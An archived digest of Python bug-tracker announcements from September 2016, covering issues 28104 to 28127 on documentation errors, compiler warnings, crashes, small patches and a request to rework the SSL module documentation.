The library documentation for set intersection gives this definition:
intersection(other, ...)

For any set, s, however, intersection may be called with no arguments, which returns the same set. The documentation, as written, implies such usage would raise a TypeError. I believe it should be intersection(*others). Same for difference, union, intersection_update, difference_update, and update.

----------
assignee: docs at python
components: Documentation
messages: 276070
nosy: docs at python, nmarrow
priority: normal
severity: normal
status: open
title: Set documentation is incorrect
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28104>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:55:52 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 17:55:52 +0000
Subject: [New-bugs-announce] =?utf-8?q?=5Bissue28105=5D_warning=3A_?=
 =?utf-8?q?=E2=80=98nkwargs=E2=80=99_may_be_used_uninitialized?=
Message-ID: <1473702952.51.0.841128110001.issue28105@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Objects/methodobject.c: In function ?_PyCFunction_FastCallKeywords?:
Objects/methodobject.c:281:24: warning: ?nkwargs? may be used uninitialized in this function [-Wmaybe-uninitialized]
     assert((nargs == 0 && nkwargs == 0) || stack != NULL);
                        ^

----------
components: Interpreter Core
messages: 276082
nosy: haypo, ned.deily, serhiy.storchaka
priority: release blocker
severity: normal
status: open
title: warning: ?nkwargs? may be used uninitialized
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28105>
_______________________________________

From report at bugs.python.org  Mon Sep 12 14:22:45 2016
From: report at bugs.python.org (Thomas Wouters)
Date: Mon, 12 Sep 2016 18:22:45 +0000
Subject: [New-bugs-announce] [issue28106] [Benchmarks] Add --testonly
 argument to perf.py to run benchmarks only for correctness checking
Message-ID: <1473704565.15.0.68917906778.issue28106@psf.upfronthosting.co.za>


New submission from Thomas Wouters:

The attached patch adds a --testonly mode to the 'perf.py' benchmark runner, which runs the selected benchmarks in the fastest possible way with just one interpreter (without filtering out slow benchmarks, or benchmarks that can't run in raw mode).

The intent is for this to be a relatively quick way to check that the benchmarks are not broken. I'm including the benchmarks in this mode in our continuous-build system (making sure the benchmarks will run when we need to do actual benchmarking), and this saves a significant amount of time while still allowing us to test all benchmarks (both --fast and --raw skip certain benchmarks).

----------
components: Benchmarks
files: benchmarks-testonly.diff
keywords: patch
messages: 276086
nosy: brett.cannon, gregory.p.smith, pitrou, twouters
priority: normal
severity: normal
stage: patch review
status: open
title: [Benchmarks] Add --testonly argument to perf.py to run benchmarks only for correctness checking
type: enhancement
Added file: http://bugs.python.org/file44597/benchmarks-testonly.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28106>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:07:22 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Mon, 12 Sep 2016 19:07:22 +0000
Subject: [New-bugs-announce] [issue28107] Update typing module dicumentation
 for NamedTuple
Message-ID: <1473707242.23.0.095655840586.issue28107@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

The implementation of NamedTuple in typing module has been extended to support PEP 526 variable annotation syntax.

Here is he patch that updates documentation accordingly.

----------
assignee: docs at python
components: Documentation
files: nmtuple-doc.diff
keywords: patch
messages: 276092
nosy: docs at python, gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: Update typing module dicumentation for NamedTuple
versions: Python 3.6
Added file: http://bugs.python.org/file44600/nmtuple-doc.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28107>
_______________________________________

From report at bugs.python.org  Mon Sep 12 15:33:55 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 12 Sep 2016 19:33:55 +0000
Subject: [New-bugs-announce] [issue28108] Python configure fails to detect
 tzname on platforms that have it.
Message-ID: <1473708835.14.0.84620259167.issue28108@psf.upfronthosting.co.za>


New submission from Alexander Belopolsky:

After running ./configure on Linux or MacOS X, check the generated pyconfig.h header:

$ grep TZNAME pyconfig.h
/* #undef HAVE_DECL_TZNAME */
/* #undef HAVE_TZNAME */

However, tzname exists and is declared in time.h on Linux and MacOS X as can be seen by compiling and running the following simple program:

$ cat tzname.c
#include <time.h>
#include <stdio.h>

int main() {
    tzset();
    printf("%s/%s\n", tzname[0], tzname[1]);
}
$ clang tzname.c -o tzname
$ ./tzname
EST/EDT

Note that tzname is mandated by the recent editions of POSIX <http://pubs.opengroup.org/onlinepubs/009695399/functions/tzset.html>, so I am not sure whether we need to check for it in configure.

----------
messages: 276098
nosy: belopolsky
priority: normal
severity: normal
status: open
title: Python configure fails to detect tzname on platforms that have it.
type: behavior
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28108>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:00:24 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Mon, 12 Sep 2016 20:00:24 +0000
Subject: [New-bugs-announce] [issue28109] What's new item for PEP 526 --
 Variable annotations
Message-ID: <1473710424.07.0.410665624445.issue28109@psf.upfronthosting.co.za>


New submission from Ivan Levkivskyi:

The attached patch contains a simple item summarizing PEP 526 in 3.6 What's New.

----------
assignee: docs at python
components: Documentation
files: whats-new-pep-526.diff
keywords: patch
messages: 276105
nosy: docs at python, gvanrossum, levkivskyi
priority: normal
severity: normal
status: open
title: What's new item for PEP 526 -- Variable annotations
versions: Python 3.6
Added file: http://bugs.python.org/file44602/whats-new-pep-526.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28109>
_______________________________________

From report at bugs.python.org  Mon Sep 12 16:37:34 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 12 Sep 2016 20:37:34 +0000
Subject: [New-bugs-announce] [issue28110] py launcher has different product
 codes between 32 and 64-bit
Message-ID: <1473712654.55.0.666881754896.issue28110@psf.upfronthosting.co.za>


New submission from Steve Dower:

The launcher.msi file that is part of 3.6.0b1 is different between the 32-bit and 64-bit release - specifically, a different product code.

This means that when you install one followed by the other, it will insist on updating the launcher even though the are the same. This may cause unnecessary UAC prompts.

Other than this, there aren't any ill effects. But they're supposed to be using the same product code, so I need to investigate why they are different.

----------
assignee: steve.dower
components: Windows
messages: 276113
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: py launcher has different product codes between 32 and 64-bit
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28110>
_______________________________________

From report at bugs.python.org  Mon Sep 12 22:20:33 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Tue, 13 Sep 2016 02:20:33 +0000
Subject: [New-bugs-announce] [issue28111] geometric_mean can raise
 OverflowError when checking for inf
Message-ID: <1473733233.31.0.576673883283.issue28111@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

>>> statistics.geometric_mean([0.7 for _ in range(5000)])
Traceback (most recent call last):
  File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 362, in float_nroot
    isinfinity = math.isinf(x)
OverflowError: int too large to convert to float

See #27975 and #27181

----------
assignee: steven.daprano
components: Library (Lib)
messages: 276149
nosy: haypo, mark.dickinson, steven.daprano
priority: normal
severity: normal
status: open
title: geometric_mean can raise OverflowError when checking for inf
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28111>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:53:35 2016
From: report at bugs.python.org (Alex Jurkiewicz)
Date: Tue, 13 Sep 2016 04:53:35 +0000
Subject: [New-bugs-announce] [issue28112] Add callback to functools.lru_cache
Message-ID: <1473742415.72.0.834359369661.issue28112@psf.upfronthosting.co.za>


New submission from Alex Jurkiewicz:

I'd like to add support for functools.lru_cache to have a callback parameter that runs every time an item is evicted from the cache. I've written a small prototype here:

https://github.com/alexjurkiewicz/cpython/commit/2f788387466720d47f2c82242ac33b107b0bf470

The prototype is incomplete:
* No C implementation
* Doesn't run on lru_cache.cache_clear()
* It would be nice to pass through args/kwargs for each evicted item

Comments welcome!

----------
components: Library (Lib)
messages: 276171
nosy: aj
priority: normal
severity: normal
status: open
title: Add callback to functools.lru_cache
type: enhancement
versions: Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28112>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:19:08 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 13 Sep 2016 06:19:08 +0000
Subject: [New-bugs-announce] [issue28113] Remove Py_CreateSymbolicLinkW
Message-ID: <1473747548.28.0.648303309588.issue28113@psf.upfronthosting.co.za>


New submission from Eryk Sun:

In 3.6, the Windows implementation of os.symlink can be simplified to directly call CreateSymbolicLinkW, since this function was added in Windows Vista. The support code for Py_CreateSymbolicLinkW can be removed from Modules/posixmodule.c. enable_symlink can also be removed because SeCreateSymbolicLinkPrivilege gets enabled automatically.

----------
components: Library (Lib), Windows
messages: 276183
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Remove Py_CreateSymbolicLinkW
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28113>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:55:35 2016
From: report at bugs.python.org (Christoph Gohlke)
Date: Tue, 13 Sep 2016 06:55:35 +0000
Subject: [New-bugs-announce] [issue28114] Crash in unicodeobject.c
 find_maxchar_surrogates on python-3.6.0b1 for Windows
Message-ID: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>


New submission from Christoph Gohlke:

Trying to build numpy-1.11.2rc1 wheels for Python 3.6.0b1 on Windows 10 with `python.exe setup.py bdist_wheel`, python36.dll (32 and 64 bit) segfaults in the `find_maxchar_surrogates` function. Some other packages built OK, e.g. Cython, pyzmq and Pillow.

The crash is at <https://hg.python.org/cpython/file/v3.6.0b1/Objects/unicodeobject.c#l1607>. The call stack is attached.

Locals:
+		begin	0x00454c49464f5250 <Error reading characters of string.>	const wchar_t *
		ch	1509860640	unsigned int
+		end	0x004550fc90512200 <Error reading characters of string.>	const wchar_t *
+		iter	0x00000259a500e7d8 L"\x2"	const wchar_t *
+		maxchar	0x0000005a59fea520 {0}	unsigned int *
+		num_surrogates	0x0000005a59fea528 {0}	__int64 *

----------
components: Interpreter Core, Unicode, Windows
files: callstack.txt
messages: 276189
nosy: cgohlke, ezio.melotti, haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Crash in unicodeobject.c find_maxchar_surrogates on python-3.6.0b1 for Windows
type: crash
versions: Python 3.6
Added file: http://bugs.python.org/file44623/callstack.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:07:03 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 07:07:03 +0000
Subject: [New-bugs-announce] [issue28115] Use argparse for the zipfile module
Message-ID: <1473750423.74.0.95052105427.issue28115@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Options and arguments for zipfile CLI are manually parsed for now. Since CLI becomes more complex, it is worth to convert zipfile to use argparse.

----------
components: Demos and Tools
keywords: easy
messages: 276191
nosy: SilentGhost, serhiy.storchaka, sjt
priority: normal
severity: normal
stage: needs patch
status: open
title: Use argparse for the zipfile module
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28115>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:07:35 2016
From: report at bugs.python.org (Pierre Ducroquet)
Date: Tue, 13 Sep 2016 07:07:35 +0000
Subject: [New-bugs-announce] =?utf-8?q?=5Bissue28116=5D_Error_in_what=27s_?=
 =?utf-8?q?new_-_PEP=C2=A0515?=
Message-ID: <1473750455.95.0.91976047794.issue28116@psf.upfronthosting.co.za>


New submission from Pierre Ducroquet:

The what's new section about PEP 515 says :
?With PEP 515, though, you can use underscores to separate digits as desired to make numeric literals easier to read: 1_000_000_000_000_000. Underscores can be used with other numeric literals beyond integers, e.g. 0x_FF_FF_FF_FF.?

As far as I know, 0xFFFFFFFF is 2 ** 32 - 1, an integer.
I think the author meant ?beyond decimals?

----------
assignee: docs at python
components: Documentation
messages: 276192
nosy: Pierre Ducroquet, docs at python
priority: normal
severity: normal
status: open
title: Error in what's new - PEP?515
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28116>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:11:54 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 07:11:54 +0000
Subject: [New-bugs-announce] [issue28117] warning: dereferencing type-punned
 pointer will break strict-aliasing rules
Message-ID: <1473750714.22.0.188258678348.issue28117@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

In file included from /home/serhiy/py/cpython/Modules/_sha3/sha3module.c:113:0:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_SetBytesInLaneToZero?:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:97:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     low = *((UINT32*)(laneAsBytes+0));
     ^
In file included from /home/serhiy/py/cpython/Modules/_sha3/sha3module.c:113:0:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_AddBytesInLane?:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:152:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     low = *((UINT32*)(laneAsBytes+0));
     ^
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_ExtractBytesInLane?:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:296:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     *((UINT32*)(laneAsBytes+0)) = low;
     ^
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_ExtractAndAddBytesInLane?:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:369:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     *((UINT32*)(laneAsBytes+0)) = low;
     ^

----------
components: Extension Modules
messages: 276193
nosy: christian.heimes, mark.dickinson, serhiy.storchaka
priority: normal
severity: normal
status: open
title: warning: dereferencing type-punned pointer will break strict-aliasing rules
type: compile error
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28117>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:23:20 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 07:23:20 +0000
Subject: [New-bugs-announce] [issue28118] type-limits warning in PyMem_New()
 _ssl_locks_count
Message-ID: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>


New submission from Christian Heimes:

Since last week I'm getting a compiler warning in _ssl.c. The compiler warning is related to the type of _ssl_locks_count. It's an unsigned. When I cast it to an int like PyMem_New(PyThread_type_lock, (int)_ssl_locks_count), the warning goes away.

gcc -pthread -fPIC -Wno-unused-result -Wsign-compare -g -Og -Wall -Wstrict-prototypes -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -I./Include -I. -IInclude -I/usr/local/include -I/home/heimes/dev/python/3.6/Include -I/home/heimes/dev/python/3.6 -c /home/heimes/dev/python/3.6/Modules/_ssl.c -o build/temp.linux-x86_64-3.6-pydebug/home/heimes/dev/python/3.6/Modules/_ssl.o
In file included from ./Include/Python.h:66:0,
                 from /home/heimes/dev/python/3.6/Modules/_ssl.c:19:
/home/heimes/dev/python/3.6/Modules/_ssl.c: In function ?_setup_ssl_threads?:
./Include/pymem.h:136:18: warning: comparison is always false due to limited range of data type [-Wtype-limits]
   ( ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \
                  ^
/home/heimes/dev/python/3.6/Modules/_ssl.c:5076:22: note: in expansion of macro ?PyMem_New?
         _ssl_locks = PyMem_New(PyThread_type_lock, _ssl_locks_count);
                      ^~~~~~~~~

Also see #17884

----------
components: Extension Modules
messages: 276195
nosy: christian.heimes, haypo
priority: normal
severity: normal
stage: needs patch
status: open
type: compile error
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:32:03 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 07:32:03 +0000
Subject: [New-bugs-announce] [issue28119] Explicit null dereferenced in
 formatter_unicode.c
Message-ID: <1473751923.13.0.486093276852.issue28119@psf.upfronthosting.co.za>


New submission from Christian Heimes:

Coverity is warning about four cases of potential NULL forwarding in which subsequent code does not expect a NULL value.

30. no_write_call: Although get_locale_info does overwrite locale.decimal_point on some paths, it also contains at least one feasible path which does not overwrite it.

1140    /* Calculate how much memory we'll need. */
    CID 1372743: Explicit null dereferenced (FORWARD_NULL) [select issue]
    CID 1372744: Explicit null dereferenced (FORWARD_NULL) [select issue]
    CID 1372745 (#1 of 1): Explicit null dereferenced (FORWARD_NULL)21. var_deref_model: Passing &locale to calc_number_widths, which dereferences null locale.grouping. [show details]
1141    n_total = calc_number_widths(&spec, 0, sign_char, unicode_tmp, index,
1142                                 index + n_digits, n_remainder, has_decimal,
1143                                 &locale, format, &maxchar);


1322    /* Calculate how much memory we'll need. */
    CID 1372742 (#1 of 1): Explicit null dereferenced (FORWARD_NULL)32. var_deref_model: Passing &locale to calc_number_widths, which dereferences null locale.decimal_point. [show details]
1323    n_re_total = calc_number_widths(&re_spec, 0, re_sign_char, re_unicode_tmp,
1324                                    i_re, i_re + n_re_digits, n_re_remainder,
1325                                    re_has_decimal, &locale, &tmp_format,
1326                                    &maxchar);

----------
components: Interpreter Core
messages: 276198
nosy: christian.heimes
priority: normal
severity: normal
stage: test needed
status: open
title: Explicit null dereferenced in formatter_unicode.c
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28119>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:45:56 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 07:45:56 +0000
Subject: [New-bugs-announce] [issue28120] The Blaze test suite segfaults
 with 4a5b61b0d090
Message-ID: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>


New submission from STINNER Victor:

In the issue #4a5b61b0d090, Stefan Krah wrote: "The Blaze test suite segfaults with 4a5b61b0d090". I may be related to compact dict and the issue #28040.

Stefan: Can you please explain what is Blaze? Explain how to reproduce the issue? Try to get the Python traceback?

Did you try a debug build? If you use a release build, please set the env var PYTHONMALLOC=debug.

"""
Blaze is pushing Python's dynamic capabilities to absolute limits,
so perhaps this is specific to a few applications only.

For Blaze *itself* there is no difference whether this is fixed now
or in the next beta.  So releasing 3.6.0b1  now and setting this back
to blocker afterwards sounds good to me.
"""

and

"""
It could still be a stack overflow, but on the surface it does
not look like one. It's definitely related to the aforementioned
revision:

==3442== Invalid read of size 8
==3442==    at 0x49DBD8: _PyDict_Pop (dictobject.c:1743)
==3442==    by 0x4A0BE2: dict_pop (dictobject.c:2732)
==3442==    by 0x4AA5F8: _PyCFunction_FastCallDict (methodobject.c:229)
==3442==    by 0x4AA70B: _PyCFunction_FastCallKeywords (methodobject.c:267)
==3442==    by 0x55FE63: call_function (ceval.c:4794)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)
==3442==    by 0x560123: _PyFunction_FastCall (ceval.c:4876)
==3442==    by 0x56023B: fast_function (ceval.c:4906)
==3442==    by 0x55FF91: call_function (ceval.c:4815)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)
==3442==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==3442== 
==3442== 
==3442== Process terminating with default action of signal 11 (SIGSEGV)
==3442==  Access not within mapped region at address 0x0
==3442==    at 0x49DBD8: _PyDict_Pop (dictobject.c:1743)
==3442==    by 0x4A0BE2: dict_pop (dictobject.c:2732)
==3442==    by 0x4AA5F8: _PyCFunction_FastCallDict (methodobject.c:229)
==3442==    by 0x4AA70B: _PyCFunction_FastCallKeywords (methodobject.c:267)
==3442==    by 0x55FE63: call_function (ceval.c:4794)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)
==3442==    by 0x560123: _PyFunction_FastCall (ceval.c:4876)
==3442==    by 0x56023B: fast_function (ceval.c:4906)
==3442==    by 0x55FF91: call_function (ceval.c:4815)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)
"""

----------
messages: 276204
nosy: haypo, methane, skrah
priority: normal
severity: normal
status: open
title: The Blaze test suite segfaults with 4a5b61b0d090
type: crash
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:38:34 2016
From: report at bugs.python.org (Aivar Annamaa)
Date: Tue, 13 Sep 2016 08:38:34 +0000
Subject: [New-bugs-announce] [issue28121] If module starts with comment or
 empty line then frame.f_code.co_firstlineno is inconsistent with
 inspect.findsource
Message-ID: <1473755914.89.0.262835652716.issue28121@psf.upfronthosting.co.za>


New submission from Aivar Annamaa:

Following program shows that frame.f_code.co_firstlineno ignores first line if it is a comment (or empty line), but inspect.getsource(frame.f_code) returns also the first line:

# first line
import inspect
frame = inspect.currentframe()
print(frame.f_code.co_firstlineno)
print(inspect.findsource(frame.f_code))

----------
messages: 276211
nosy: Aivar.Annamaa
priority: normal
severity: normal
status: open
title: If module starts with comment or empty line then frame.f_code.co_firstlineno is inconsistent with inspect.findsource

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28121>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:49:33 2016
From: report at bugs.python.org (sijian liang)
Date: Tue, 13 Sep 2016 08:49:33 +0000
Subject: [New-bugs-announce] [issue28122] email.header.decode_header can not
 decode string with quotation
Message-ID: <1473756573.9.0.167529610589.issue28122@psf.upfronthosting.co.za>


Changes by sijian liang <twistfate33 at gmail.com>:


----------
components: email
files: demo.py
nosy: barry, r.david.murray, sijian liang
priority: normal
severity: normal
status: open
title: email.header.decode_header can not decode string with quotation
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file44624/demo.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28122>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:51:18 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 09:51:18 +0000
Subject: [New-bugs-announce] [issue28123] _PyDict_GetItem_KnownHash ignores
 DKIX_ERROR return
Message-ID: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

_PyDict_GetItem_KnownHash should handle dk_lookup return value the same as PyDict_GetItem.

BTW, it seems PyDict_GetItem can call _PyDict_GetItem_KnownHash to remove duplicate code, if you like, maybe another issue?

diff -r 6acd2b575a3c Objects/dictobject.c
--- a/Objects/dictobject.c	Tue Sep 13 07:56:45 2016 +0300
+++ b/Objects/dictobject.c	Tue Sep 13 17:46:08 2016 +0800
@@ -1370,12 +1370,12 @@
         ix = (mp->ma_keys->dk_lookup)(mp, key, hash, &value_addr, NULL);
         /* ignore errors */
         PyErr_Restore(err_type, err_value, err_tb);
-        if (ix == DKIX_EMPTY)
+        if (ix < 0)
             return NULL;
     }
     else {
         ix = (mp->ma_keys->dk_lookup)(mp, key, hash, &value_addr, NULL);
-        if (ix == DKIX_EMPTY) {
+        if (ix < 0) {
             PyErr_Clear();
             return NULL;

----------
components: Interpreter Core
messages: 276230
nosy: haypo, methane, xiang.zhang
priority: normal
severity: normal
status: open
title: _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:34:00 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 10:34:00 +0000
Subject: [New-bugs-announce] [issue28124] Rework SSL module documentation
Message-ID: <1473762840.76.0.666078412099.issue28124@psf.upfronthosting.co.za>


New submission from Christian Heimes:

The documentation of the SSL module needs a rework. It's confusing and hard to understand even for experienced developers. The documentation should start with basic use cases and easy-to-reuse best practices.

* The module starts with move ssl.wrap_socket() but it's no longer best practice. The section should be moved down and favor of a quick introduction of SSLContext.

* ssl.create_default_context() is the best way to create a SSLContext. Mention that purpose flags and that Purpose.SERVER_AUTH is the correct setting on the client side. It means: "Create a context to authenticate the certs of a TLS server." (correct also for ftp, imap, ldap, smtp and so on).

* The protocol table is confusing and does not mention the meaning of PROTOCOL_SSLv23 (aka PROTOCOL_TLS). It's auto-negotiation of the highest TLS protocol version and takes OP_NO_* SSLContext.options into account. PROTOCOL_TLS_CLIENT and PROTOCOL_TLS_SERVER are the recommended options nowadays.

* Don't confront users with CERT_OPTIONAL in the first section. It's a super special mode for client cert authentication on the server side. On the client side, CERT_REQUIRED is the right mode with CERT_NONE as workaround. On the server side CERT_NONE (default) is usually the right setting.

* check_hostname is a client-side option that should be enabled all the time.

* Explain that users can load the public key of a  self-signed certificate like a CA cert to have cert validation even for self-signed certs.

----------
assignee: docs at python
components: Documentation
messages: 276238
nosy: christian.heimes, docs at python
priority: high
severity: normal
stage: needs patch
status: open
title: Rework SSL module documentation
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28124>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:53:53 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 10:53:53 +0000
Subject: [New-bugs-announce] [issue28125] identify cross builds by a more
 generic environment setting.
Message-ID: <1473764033.74.0.830597862284.issue28125@psf.upfronthosting.co.za>


New submission from Matthias Klose:

I don't like the _PYTHON_SYSCONFIGDATA_NAME hack introduced in #28046.  This should be based on the target, not on a name for just a particular file.  Plus the abi flags should not be set by hand, you'll get in trouble at least for naming extensions, or building extensions for the wrong abi flags. This was an explicit decision when I first started adding the cross-build changes.

So proposing instead to base a cross build on a _PYTHON_MULTIARCH environment variable and deriving the sysconfigdata name on that.

Working on a patch for that.

----------
assignee: doko
components: Cross-Build
messages: 276244
nosy: Alex.Willmer, doko
priority: normal
severity: normal
status: open
title: identify cross builds by a more generic environment setting.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:32:23 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 12:32:23 +0000
Subject: [New-bugs-announce] [issue28126] Py_MEMCPY: Use memcpy on Windows?
Message-ID: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>


New submission from Christian Heimes:

Py_MEMCPY() has a special case for small blocks on Windows to work around an ancient performance issue in MSVC. Can we safely assume that recent MSVC properly optimize memcpy()? See #28055

/* Py_MEMCPY can be used instead of memcpy in cases where the copied blocks
 * are often very short.  While most platforms have highly optimized code for
 * large transfers, the setup costs for memcpy are often quite high.  MEMCPY
 * solves this by doing short copies "in line".
 */

#if defined(_MSC_VER)
#define Py_MEMCPY(target, source, length) do {                          \
        size_t i_, n_ = (length);                                       \
        char *t_ = (void*) (target);                                    \
        const char *s_ = (void*) (source);                              \
        if (n_ >= 16)                                                   \
            memcpy(t_, s_, n_);                                         \
        else                                                            \
            for (i_ = 0; i_ < n_; i_++)                                 \
                t_[i_] = s_[i_];                                        \
    } while (0)
#else
#define Py_MEMCPY memcpy
#endif

----------
components: Windows
messages: 276262
nosy: christian.heimes, haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Py_MEMCPY: Use memcpy on Windows?
type: performance
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:52:49 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 14:52:49 +0000
Subject: [New-bugs-announce] [issue28127] Add _PyDict_CheckConsistency()
Message-ID: <1473778369.72.0.526579545764.issue28127@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Attached patch adds a function to check the consistency of a Python dictionary after each modification.

The current implementation does really simple checks, but more advanced checks might be added later.

I tried to check also the dictionary content, but it really makes Python too slow. Maybe we can add such checks, but using a special compilation flag when we test a new patch on dictobject.c.

+    assert(0 <= mp->ma_used && mp->ma_used <= keys->dk_size);
+    assert(0 <= keys->dk_usable
+           && keys->dk_usable <= keys->dk_size);
+    assert(0 <= keys->dk_nentries
+           && keys->dk_nentries <= keys->dk_size);

